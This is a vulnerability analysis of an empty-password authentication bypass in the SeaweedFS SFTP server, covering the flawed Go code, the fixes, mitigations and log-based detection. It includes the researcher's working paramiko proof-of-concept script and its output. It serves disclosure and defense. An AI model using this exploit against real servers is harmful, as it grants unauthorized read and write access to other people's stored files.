The SFTP server in SeaweedFS, an open-source distributed storage system, accepted an empty password for every account stored without one. A remote client that knew the name of a key-only or certificate-only user could send a zero-length password and get a full SFTP session with that user's permissions. The authentication bypass is tracked as CVE-2026-133464. Researcher Harsh Parmar, whose report the project's GitHub security advisory carries, proposed a CVSS score of 9.1 out of 10 (critical), and the CVE record adopts it.
An attacker needs no account and no secret. Four conditions must hold instead: network reach to the SFTP port (2022 by default), password login enabled on the server (the default), at least one user stored without a password, and that user's name. The SFTP server itself is off unless an operator starts it. Neither the advisory nor the CVE record reports exploitation, and the bug is not in CISA's Known Exploited Vulnerabilities (KEV) catalog, but a working proof of concept is public in the advisory.
- Affected: SeaweedFS 3.88 through 4.45, whenever the SFTP server is running (
weed sftp, or the-sftpflag ofweed serverandweed filer). - Fixed in: 4.46, released September 8, 2026. Release 4.49 adds a second check, and 4.55 is current.
- Attack requires: access to the SFTP port,
passwordamong the server's auth methods (the default), one user with no stored password, and that username. No credentials. - Exploitation: none reported. The researcher's PoC is public.
- Action: upgrade to 4.46 or later, ideally 4.49 or later. Until then, remove
passwordfrom the auth methods. Either way, review past logins of accounts that have no password.
SeaweedFS and its SFTP server
SeaweedFS is a distributed storage system for files and blobs, written in Go. Its Docker Hub image, chrislusf/seaweedfs, had been pulled about 47 million times by November 26, 2026, according to Docker Hub's counter. That number describes the whole project: neither the advisory nor the CVE record says how many deployments run the SFTP server or expose it to the internet.
The SFTP (SSH File Transfer Protocol) server is an optional front end that routes every file operation to the SeaweedFS filer over gRPC. Operators start it standalone with weed sftp, or with the -sftp flag of weed server or weed filer, which defaults to false. Mohamed Sekour contributed it in pull request #6753, and it first shipped in release 3.88 on May 26, 2025.
Two defaults in the command definition decide who may try to log in and how often:
sftpOptionsStandalone.authMethods = cmdSftp.Flag.String("authMethods", "password,publickey", "comma-separated list of allowed auth methods: password, publickey, certificate")
sftpOptionsStandalone.maxAuthTries = cmdSftp.Flag.Int("maxAuthTries", 6, "maximum number of authentication attempts per connection")
weed/command/sftp.go, lines 68–69, commit 398277a (the last commit before the fix). The same two defaults are set on lines 197–198 of weed/command/server.go and lines 187–188 of weed/command/filer.go. The port default is on line 65.
Password login is on unless the operator removes it from the list, and each connection gets six attempts. Both defaults are repeated for weed server and weed filer as -sftp.authMethods and -sftp.maxAuthTries, and all three commands listen on port 2022. A standalone weed sftp without -ip.bind listens on 0.0.0.0, while under the other two commands the listener inherits the parent's bind address.
Project counters
| Counter, November 26, 2026 | Value | Source |
|---|---|---|
Docker Hub pulls, chrislusf/seaweedfs |
46,778,199 | Docker Hub API |
| Docker Hub stars | 59 | Docker Hub API |
GitHub stars, seaweedfs/seaweedfs |
36,267 | GitHub API |
| GitHub forks | 3,139 | GitHub API |
A password field that cannot say none
SFTP users are defined in a JSON file named by the userStoreFile flag. NewFileStore reads it at startup, and loadUsers decodes each entry into this structure:
type User struct {
Username string // Username for authentication
Password string // Plaintext password
PublicKeys []string // Authorized public keys
HomeDir string // User's home directory
Permissions map[string][]string // path -> permissions (read, write, list, etc.)
Uid uint32 // User ID for file ownership
Gid uint32 // Group ID for file ownership
}
weed/sftpd/user/user.go, lines 10–18, commit 398277a (before the fix). Line 12 is the password field. The structure is the same in release 4.55.
The password is a plain Go string holding the plaintext, as the field's comment says. A string cannot express that an account has no password: an entry that omits the key is loaded with Password equal to "", the same value an explicitly blank password would have. Parmar describes this layout as the normal setup for key-based access: the password is optional, and publicKeys is the alternative.
Password logins are decided by FileStore.ValidatePassword. Before the fix it read as follows:
func (s *FileStore) ValidatePassword(username string, password []byte) bool {
user, err := s.GetUser(username)
if err != nil {
return false
}
// Compare plaintext password using constant time comparison for security
return subtle.ConstantTimeCompare([]byte(user.Password), password) == 1
}
weed/sftpd/user/filestore.go, lines 151–159, commit 398277a (before the fix). Line 158 decides the login.
It looks the user up, converts the stored string to bytes and hands both values to subtle.ConstantTimeCompare from Go's standard library. The choice is sound: the function's running time depends on the length of its inputs and not on their contents, so a wrong guess does not reveal through timing how close it came. Nothing in ValidatePassword asks whether there is a password to compare against.
The project's go.mod declares Go 1.26, and in Go 1.26.0 the comparison looks like this:
// ConstantTimeCompare returns 1 if the two slices, x and y, have equal contents
// and 0 otherwise. The time taken is a function of the length of the slices and
// is independent of the contents. If the lengths of x and y do not match it
// returns 0 immediately.
func ConstantTimeCompare(x, y []byte) int {
if len(x) != len(y) {
return 0
}
var v byte
for i := 0; i < len(x); i++ {
v |= x[i] ^ y[i]
}
return constanttime.ByteEq(v, 0)
}
src/crypto/internal/fips140/subtle/constant_time.go, lines 13–29, Go 1.26.0. The public crypto/subtle.ConstantTimeCompare forwards to this function (src/crypto/subtle/constant_time.go, lines 21–23).
Slices of different length return 0 at once. For equal lengths the loop folds the XOR of every byte pair into v, and ByteEq(v, 0) reports whether any pair differed. With both lengths at zero the loop body never runs, v keeps its initial value and the function returns 1. On Go 1.27.3 the call returns 1 for two empty slices and 0 when only one side is empty. The library is right: two empty slices do have equal contents. What was wrong is the question ValidatePassword put to it.
Public-key login was never affected, and the neighbouring function shows why:
for _, key := range user.PublicKeys {
if subtle.ConstantTimeCompare([]byte(key), []byte(keyData)) == 1 {
return true
}
}
return false
weed/sftpd/user/filestore.go, lines 168–174 of ValidatePublicKey, commit 398277a (before the fix). The fix does not touch this function.
Here the same primitive sits inside a loop over the user's keys, so with no keys there is nothing to iterate and the function fails closed. The password path has no such loop, so a missing password left it comparing nothing with nothing and reporting a match.
From an SSH password request to a file listing
Parmar sums up the rest of the call path in one sentence: "Nothing upstream rejects the empty password." The service code bears that out. NewSFTPService creates the file-based user store and passes the configured method list to auth.NewManager, which sets passwordEnabled when the list contains password. The manager's GetSSHServerConfig then registers the password callback:
// Add password authentication if enabled
if m.passwordAuth.Enabled() {
config.PasswordCallback = m.passwordAuth.Authenticate
}
weed/sftpd/auth/auth.go, lines 69–72 of GetSSHServerConfig, commit 398277a (before the fix).
That switch is global. The User structure has no field naming the methods an account may use, so once password is enabled for the server it is enabled for every user in the file, including those who were only ever given a key.
The callback adds a single gate, the enabled flag, and forwards whatever bytes the client sent:
// Validate password against user store
if a.userStore.ValidatePassword(username, password) {
return &ssh.Permissions{
Extensions: map[string]string{
"username": username,
},
}, nil
}
// Add delay to prevent brute force attacks
time.Sleep(time.Duration(100+rand.IntN(100)) * time.Millisecond)
return nil, fmt.Errorf("authentication failed")
weed/sftpd/auth/password.go, lines 40–52 of Authenticate, commit 398277a (before the fix). Line 41 hands the client's bytes to the store unchecked. Line 50 is the delay.
A match returns SSH permissions with the username attached. A failure sleeps for 100 to 199 milliseconds before returning an error, a delay meant to slow password guessing. Neither the delay nor the six-attempt limit matters here, because the empty password is accepted on the first try.
Put together, the attack is one authentication request:
- The attacker opens a TCP connection to the SFTP port and starts an SSH handshake.
handleSSHConnectionpasses the connection tossh.NewServerConnwith the configuration built above. - The attacker requests
passwordauthentication for a username that exists in the user store and supplies a zero-length password. The SSH library (golang.org/x/cryptov0.55.0 ingo.mod) invokesPasswordCallbackfor a password request regardless of the password's length, the advisory notes. PasswordAuthenticator.Authenticatetakes the name fromconn.User(), confirms that password login is enabled and callsValidatePasswordwith the empty byte slice.ValidatePasswordfinds the user throughGetUser. The stored password is the empty string, the supplied one has length zero, andConstantTimeComparereturns 1.Authenticatereturns the permissions object. The handshake completes, andhandleSSHConnectionloads the user record and builds anSftpServerbound to that account's home directory, UID and GID.- The attacker opens the
sftpsubsystem and works as the user: list, read, write, delete and rename inside the paths the account is permitted to use.
How far the session reaches depends on the account and on the release. Since release 4.02 the toAbsolutePath helper (commit e361daa, pull request #7611) treats the user's HomeDir as a chroot-like root and rejects paths that resolve outside it, but skips the translation when HomeDir is / or empty. Releases 3.88 to 4.01 lack that translation, and in them the reach of a session is set by the account's permissions map. For a user with broad permissions or a home directory of /, the advisory says, the result is read and write access to the whole filer namespace.
The username is the only thing an attacker has to bring, and Parmar calls usernames often predictable, because they tend to match the home directory, tenant or service name. Servers are easy to find as well: the service's buildSSHConfig sets the SSH version string to SSH-2.0-SeaweedFS-SFTP, and the default pre-authentication banner names SeaweedFS, so every instance identifies itself before authentication begins.
What the published proof of concept shows
Parmar's report includes a complete reproduction. Its user store holds two accounts, one with public keys and no password, the other with a password:
[
{ "username": "keyonly", "publicKeys": ["ssh-ed25519 AAAA..."],
"homeDir": "/sftp/keyonly", "uid": 1001, "gid": 1001,
"permissions": { "/sftp/keyonly": ["read","write","list"] } },
{ "username": "haspass", "password": "s3cret",
"homeDir": "/sftp/haspass", "uid": 1002, "gid": 1002,
"permissions": { "/sftp/haspass": ["read","write","list"] } }
]
users.json from the proof of concept in advisory GHSA-q9rj-8p2j-whg4, published by Harsh Parmar.
An exposed account in production looks like the keyonly entry: keys present, no password key at all.
Parmar starts a single weed server process on 127.0.0.1 with -filer, -sftp, -sftp.port=2022, a host key folder generated with ssh-keygen and that file as -sftp.userStoreFile. A short script built on the paramiko SSH library then tries four username and password pairs:
import paramiko
for user, pw in [("keyonly",""), ("keyonly","wrong"), ("haspass",""), ("haspass","s3cret")]:
t = paramiko.Transport(("127.0.0.1", 2022)); t.connect(hostkey=None)
try:
t.auth_password(user, pw); ok = t.is_authenticated()
except paramiko.ssh_exception.AuthenticationException:
ok = False
print(user, repr(pw), "->", "OK" if ok else "denied"); t.close()
Test script from the same advisory, reproduced as published.
The advisory records the result:
keyonly '' -> OK <-- bug: empty password authenticated a key-only user
keyonly 'wrong' -> denied
haspass '' -> denied
haspass 's3cret'-> OK
Output reported in the advisory. The note on the first row is the researcher's.
Only the pair that should be impossible succeeds: the account without a password accepts the empty one, while the account with a real password rejects it because the lengths differ. After authenticating, Parmar writes, an SFTP client on the same transport listed /, wrote /proof.txt and read it back as keyonly.
Lab verification
We ran the advisory's proof of concept against four official chrislusf/seaweedfs Docker images. Each server was started with the command line from the advisory, in a container with no network attached, and the published script ran unchanged from inside the same network namespace. The user store held the advisory's two accounts and a third one, nokeys, that has neither a password nor a key. In the table the first two result columns show an empty password sent to keyonly and to nokeys, and the last two show the legitimate logins of keyonly and haspass:
| Release | Key-only user | User with no key | Key login | Real password |
|---|---|---|---|---|
| 3.88 | accepted | accepted | accepted | accepted |
| 4.45 | accepted | accepted | accepted | accepted |
| 4.46 | denied | denied | accepted | accepted |
| 4.55 | denied | denied | accepted | accepted |
| 4.45, password login off | refused, method not offered | refused, method not offered | accepted | refused, method not offered |
Three results add to what the advisory states. Release 3.88 accepts the empty password, which confirms the lower bound that the history of filestore.go points to. An account with neither a password nor a key is open in exactly the same way as a key-only one. And removing password from the method list with -sftp.authMethods=publickey closes the hole on 4.45 without an upgrade: the server then offers only publickey, at the price of locking out every account that logs in with a real password.
On 3.88 and 4.45 the session opened with the empty password listed the account's home directory, wrote proof.txt and read it back, as the advisory describes. Rejected attempts took 144 to 244 ms in our runs, in line with the built-in delay, while the bypass returned in 41 to 51 ms.
Test setup and limits
Every run used a single-node weed server with -filer -sftp, the file-based user store, the default log level, linux/arm64 images and paramiko 4.0.0 as the client. Release 4.49 has no image tag on Docker Hub and was not run, although its second check is part of 4.55. Certificate login, the standalone weed sftp command and Windows builds were outside the test.
The fix in 4.46 and the second check in 4.49
Maintainer Chris Lu fixed the bug on September 2, 2026 in commit 3cdfe64, merged as pull request #11095 (sftp: reject an empty password). The working change is five added lines in one function, two of them a comment:
@@ -154,6 +154,11 @@ func (s *FileStore) ValidatePassword(username string, password []byte) bool {
return false
}
+ // An empty stored or supplied password is never a match: a public-key-only
+ // user has no password, and equal-length zero slices would otherwise compare equal.
+ if len(user.Password) == 0 || len(password) == 0 {
+ return false
+ }
// Compare plaintext password using constant time comparison for security
return subtle.ConstantTimeCompare([]byte(user.Password), password) == 1
}
weed/sftpd/user/filestore.go, hunk at line 154, commit 3cdfe64 (the fix, first released in 4.46). The new check sits on line 159 of the patched file.
The guard, the same one the advisory suggests, rejects the login when either side is empty, before the comparison runs. Testing the stored value removes the root cause: an account without a password can no longer be matched by any input. Rejecting an empty supplied value means a real password is never compared with an empty one. The other 36 lines of the commit are a table test, TestValidatePasswordRejectsEmpty, with six cases: the four pairs from Parmar's script, a wrong password for the second account and an unknown username.
Parmar proposed a second, defense-in-depth check one layer up, in the authenticator. It arrived on October 22, 2026 in Lu's commit ea859a0 (pull request #11938), as three added and two removed lines plus a 43-line test file:
@@ -37,8 +37,9 @@ func (a *PasswordAuthenticator) Authenticate(conn ssh.ConnMetadata, password []b
return nil, fmt.Errorf("password authentication disabled")
}
- // Validate password against user store
- if a.userStore.ValidatePassword(username, password) {
+ // An empty password is never valid; skip the store so a store without its
+ // own empty-secret check cannot match on zero-length input.
+ if len(password) != 0 && a.userStore.ValidatePassword(username, password) {
return &ssh.Permissions{
Extensions: map[string]string{
"username": username,
weed/sftpd/auth/password.go, hunk at line 37, commit ea859a0 (the second check, first released in 4.49).
Now Authenticate short-circuits on a zero-length password and never consults the store. The commit message gives the reason: user.Store is an interface, and an implementation without its own empty-secret check would otherwise match on zero-length input. A detail of the review is recorded there as well: the first version returned early and so failed instantly, while every other failure slept 100 to 199 milliseconds, and folding the length test into the existing condition keeps all failed attempts equally slow. The new test asserts that the store is not called for a nil or empty password.
Together the two checks close the password path to a zero-length secret in release 4.55, but they leave the configuration around the bug alone. In 4.55 the default method list remains password,publickey, and the User structure keeps a plaintext password and gains no per-user method setting. The advisory's other suggestion was a startup warning for users who have neither a password nor a key while password login is enabled. No such warning appears in the 4.55 SFTP command, service, auth manager or user store.
Affected versions and fixed builds
The advisory gives the affected range as <= 4.45 and the CVE record as < 4.46, the same boundary written two ways. Neither names a first affected release, but the history of weed/sftpd/user/filestore.go supplies one. That file arrived with the SFTP server on May 5, 2025, and ValidatePassword is identical in all five revisions of the file from that first commit to release 4.45. Release 3.88, the first to include the server, already ships password,publickey as the default. Every release from 3.88 to 4.45 is therefore affected whenever its SFTP server runs, a window of a little over 15 months. The lab run confirms both ends of the range: 3.88 and 4.45 accept the empty password, and 4.46 rejects it. Certificate login came later than the bug: the 3.88 help text for authMethods lists password, publickey, keyboard-interactive and no certificate method, so certificate-only accounts exist only in later releases.
Release 4.46 is the first with the fix. Its notes list the change as one entry among 111, sftp: reject an empty password, with no advisory to point to yet. The second check ships in 4.49 and later. On the advisory page the Patched versions field reads None to this day, so anyone who takes the fixed version from that field will not find one. Only the CVE record names 4.46 as the fixed version.
The 9.1 score comes from the researcher, who marks it as proposed in the advisory text, and GitHub, acting as the CVE numbering authority, carried it into the CVE record unchanged. CISA's enrichment of the record under its Stakeholder-Specific Vulnerability Categorization (SSVC) rates the attack as automatable.
Parmar notes that this is a separate bug from CVE-2026-77317, an authorization flaw in the SFTP server's path ACLs, and that no earlier SeaweedFS advisory dealt with SFTP authentication.
A build from source can be checked directly: in weed/sftpd/user/filestore.go, ValidatePassword must contain the line if len(user.Password) == 0 || len(password) == 0 {. A deployment that never starts the SFTP server does not run the vulnerable code at all.
| Item | Value |
|---|---|
| Affected | 3.88 to 4.45 with the SFTP server running (advisory: <= 4.45, CVE record: < 4.46) |
| First fixed release | 4.46, September 8, 2026 |
| Second check | 4.49, October 23, 2026 |
| Current release | 4.55, November 23, 2026 |
| Package | Go module github.com/seaweedfs/seaweedfs |
| CVE | CVE-2026-133464, assigned by GitHub |
| Advisory | GHSA-q9rj-8p2j-whg4 |
| CVSS 3.1 | 9.1 Critical, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Weaknesses | CWE-287 Improper Authentication, CWE-1284 Improper Validation of Specified Quantity in Input |
| CISA SSVC | Exploitation: poc. Automatable: yes. Technical Impact: total |
What to do
The maintainers have published no guidance beyond the fix itself. The measures below combine the advisory's prerequisites with what the service code shows:
- Upgrade: 4.46 closes the hole, and 4.49 adds the authenticator check.
- If you cannot upgrade yet: remove
passwordfrom the method list with-authMethods=publickeyforweed sftp, or-sftp.authMethods=publickeyforweed serverandweed filer(keepcertificateif you use it). The server then registers no password callback, which locks out any account that logs in with a real password. This step follows from the advisory's prerequisites and is not a vendor recommendation. In our lab run it stopped the empty-password login on 4.45. - Audit the user store: list every entry in the user store file with no
passwordvalue. Those accounts were open wheneverpasswordwas among the auth methods, and an entry with neither a password nor keys was reachable the same way. - Limit exposure: restrict the SFTP port to the networks that need it. On non-Windows hosts
startSftpServerserves the same SSH configuration on a local Unix socket, by default/tmp/seaweedfs-sftp-<port>.sockforweed sftp. A firewall rule on the TCP port does not cover it.
Detection
Indicators of compromise are absent from the advisory, so this section rests on the service code and on the lab run. Every completed login writes one line at the default log level:
username := sshConn.Permissions.Extensions["username"]
glog.V(0).Infof("New SSH connection from %s (%s) as user %s",
sshConn.RemoteAddr(), sshConn.ClientVersion(), username)
weed/sftpd/sftp_service.go, lines 196–198 of handleSSHConnection, commit 398277a (before the fix). Release 4.55 logs the same line.
Each such line records the remote address, the client's SSH version string and the username, but not the method that authenticated the session. The lab log shows the consequence. The first line below is the owner's key login, the second the empty password:
I1126 13:50:41.281452 sftp_service.go:197 New SSH connection from 127.0.0.1:47448 (SSH-2.0-paramiko_4.0.0) as user keyonly
I1126 13:50:43.377799 sftp_service.go:197 New SSH connection from 127.0.0.1:40872 (SSH-2.0-paramiko_4.0.0) as user keyonly
Server log of SeaweedFS 4.45 in our lab run. Both sessions came from the test client, so the client string is the same in both.
The two logins are indistinguishable, so what remains is context. Three traces are worth searching for:
- First session of an account: when the account's home directory does not exist yet, the login line is followed by a second one, shown below. In our runs it appeared once per account, at its first session, on every release from 3.88 to 4.55. For an account whose owner has never logged in, it marks someone else's first visit, and the directory itself stays in the filer.
- Client software: the login line carries the client's SSH version string, and with paramiko 4.0.0 the published script announces itself as
SSH-2.0-paramiko_4.0.0. A login to a key-only account from a library its owner does not use deserves a look. An attacker can change that string, so a familiar one proves nothing. - Failed attempts are anonymous: a rejected password is logged as
Failed to handshake: [authentication failed], with no username and no source address, so guessing usernames leaves nothing to attribute. With password login removed, the same attempts appear asFailed to handshake: [ssh: password auth not configured].
This is the pair of lines left by the first session of nokeys, opened with an empty password:
I1126 13:50:45.468492 sftp_service.go:197 New SSH connection from 127.0.0.1:40876 (SSH-2.0-paramiko_4.0.0) as user nokeys
I1126 13:50:45.469987 sftp_server.go:132 Successfully created home directory for user nokeys: /sftp/nokeys
Server log of SeaweedFS 4.45 in our lab run. Between the two the server logs an Ensuring home directory exists line, which it repeats on every login, so only the second line marks a first session.
Both traces can be pulled from retained logs with one search:
grep -E "New SSH connection from|Successfully created home directory for user" /path/to/weed.log
Search pattern built from the log lines above. Replace the path with wherever the server's log output is kept.
For each account without a stored password, look for logins from addresses or client software that do not belong to its owner, across the whole period the server ran a release before 4.46.
If such a login turns up, treat every file the account could read as disclosed and every file it could write as untrusted.
Timeline
The sequence below comes from the repository, the advisory and the CVE record:
| Date and time (UTC) | Event |
|---|---|
| May 5, 2025, 18:43 | Commit 93aed18 (pull request #6753) adds the SFTP server, with ValidatePassword in its vulnerable form |
| May 26, 2025, 20:09 | Release 3.88, the first with the SFTP server, titled 3.88 (not recommended) on GitHub |
| September 2, 2026, 18:33 | Fix commit 3cdfe64 by Chris Lu merged (pull request #11095). Its message ends with a Claude-Session trailer linking to a claude.ai coding session |
| September 8, 2026, 03:45 | Release 4.46, the first with the fix |
| September 23, 2026, 00:00 | Advisory GHSA-q9rj-8p2j-whg4 published |
| October 22, 2026, 03:03 | Commit ea859a0 by Chris Lu (pull request #11938) adds the check in PasswordAuthenticator.Authenticate. Its message is marked as generated with Devin and lists the Devin bot as co-author |
| October 23, 2026, 07:53 | Release 4.49, the first with the second check |
| November 19, 2026, 20:59 | CVE-2026-133464 reserved |
| November 23, 2026, 03:01 | Release 4.55, current |
| November 23, 2026, 16:25 | Advisory updated |
| November 25, 2026, 18:26 | CVE record published by GitHub |
| November 25, 2026, 18:39 | CISA adds its SSVC assessment to the record |
The fix commit was public from September 2 with a message that states the bug and the default that exposes it, more than five days before any release carried the fix. Fifteen days after release 4.46 came the advisory, and 78 days after that release the CVE record, which is when teams that track fixes by CVE number first saw this one. When Parmar reported the bug is not stated in the advisory, so the time from report to fix is unknown.
Conclusion
CVE-2026-133464 is not a failure of cryptography: Go's constant-time comparison answered correctly that two empty byte strings are equal. The bug sat one level up. A user record keeps the password as a bare string, so an absent password and an empty one are the same value, and a server-wide method list switched password login on for accounts never meant to have one. The guard added in 4.46 removes that for the file-based store, and the 4.49 check covers any store that replaces it.
Both patches left that design in place, and for operators the consequence is retrospective. An SFTP server that ran any release from 3.88 to 4.45 with key-only users and default flags was open to anyone who could reach the port and guess a username. Its own log cannot settle whether someone did, because the login line never said how a session was authenticated, and in release 4.55 it still does not. Nothing about the attack is hard to automate either: the server names itself in its SSH version string, and the published script is eight lines long.
Sources
- GitHub Security Advisory GHSA-q9rj-8p2j-whg4, with the report by Harsh Parmar (@kaii-k), published by maintainer Chris Lu.
- CVE-2026-133464 record with the CISA SSVC assessment (JSON).
- Fix commit 3cdfe64, pull request #11095.
- Second commit ea859a0, pull request #11938 (
sftp: reject empty passwords in PasswordAuthenticator). - SeaweedFS 4.46 release notes.
- Commit 93aed18, which added the SFTP server, and the 3.88 release notes.
- History of
weed/sftpd/user/filestore.goup to 4.45. - Go 1.26.0 source of
ConstantTimeCompare.
Updated on November 26, 2026, to rewrite the analysis and add the first affected release, the state of release 4.55, a timeline and a lab verification.
- Contents are built when the page loads